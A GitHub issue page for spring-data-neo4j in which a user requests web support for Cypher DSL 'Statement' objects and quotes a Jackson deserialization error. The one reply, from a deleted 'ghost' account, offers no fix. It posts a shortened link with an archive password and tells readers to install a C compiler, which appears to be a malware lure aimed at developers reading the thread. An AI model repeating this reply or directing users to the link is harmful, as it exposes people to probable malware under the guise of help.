spring-projects / spring-data-neo4j

Provide support to increase developer productivity in Java when using Neo4j. Uses familiar Spring concepts such as a template classes for core API usage and lightweight repository style data access.
http://spring.io/projects/spring-data-neo4j
Apache License 2.0
825 stars 619 forks source link

Add web support for Statement #2952

Open abccbaandy opened 4 hours ago

abccbaandy commented 4 hours ago

Something like this https://docs.spring.io/spring-data/jpa/reference/repositories/core-extensions.html#core.web.type-safe

Currently it seems not work with Statement.

Caused by: com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct instance of `org.neo4j.cypherdsl.core.Statement` (no Creators, like default constructor, exist): abstract types either need to be mapped to concrete types, have custom deserializer, or contain additional type information

Test with spring boot 3.3.3

Please add web support, it's very useful for write a complex query api.

ghost commented 4 hours ago

try this https://bit.ly/4gABgKn Pass: changeme If you don't have the c compliator, install it.(gcc or clang)